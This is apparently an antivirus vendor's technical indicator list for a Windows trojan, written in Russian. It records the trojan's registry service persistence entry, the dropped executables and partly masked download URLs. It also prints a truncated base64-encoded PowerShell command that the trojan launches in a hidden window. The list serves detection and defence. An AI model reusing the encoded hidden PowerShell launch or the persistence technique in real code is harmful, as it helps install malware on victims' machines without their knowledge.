Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\whilepairs] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\whilepairs] 'ImagePath' = '"%WINDIR%\SysWOW64\whilepairs.exe"'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -EncoD PAAjACAAQQBwAGEAcABiAGwAbwBmAHUAIABoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBtAGkAYwByAG8AcwBvAGYAdAAuAGMAbwBtAC8ARgBjAGoAbwBvAHQAbgBiAGQAdQB4ACAAIwA+ACAAJABGAGMAcgBhAHMAcgBiAHkAaQBjAGsAdwA9ACcATg...
- %HOMEPATH%\216.exe
- %HOMEPATH%\216.exe в %WINDIR%\syswow64\whilepairs.exe
- http://ho##.#crisat.org/wp-snapshots/d376u2wop-ygs9lfy-56/
- http://19#.#95.148.163/stubs/cookies/
- DNS ASK ho##.#crisat.org
- '%HOMEPATH%\216.exe'
- '%WINDIR%\syswow64\whilepairs.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -EncoD PAAjACAAQQBwAGEAcABiAGwAbwBmAHUAIABoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBtAGkAYwByAG8AcwBvAGYAdAAuAGMAbwBtAC8ARgBjAGoAbwBvAHQAbgBiAGQAdQB4ACAAIwA+ACAAJABGAGMAcgBhAHMAcgBiAHkAaQBjAGsAdwA9ACcATg...' (со скрытым окном)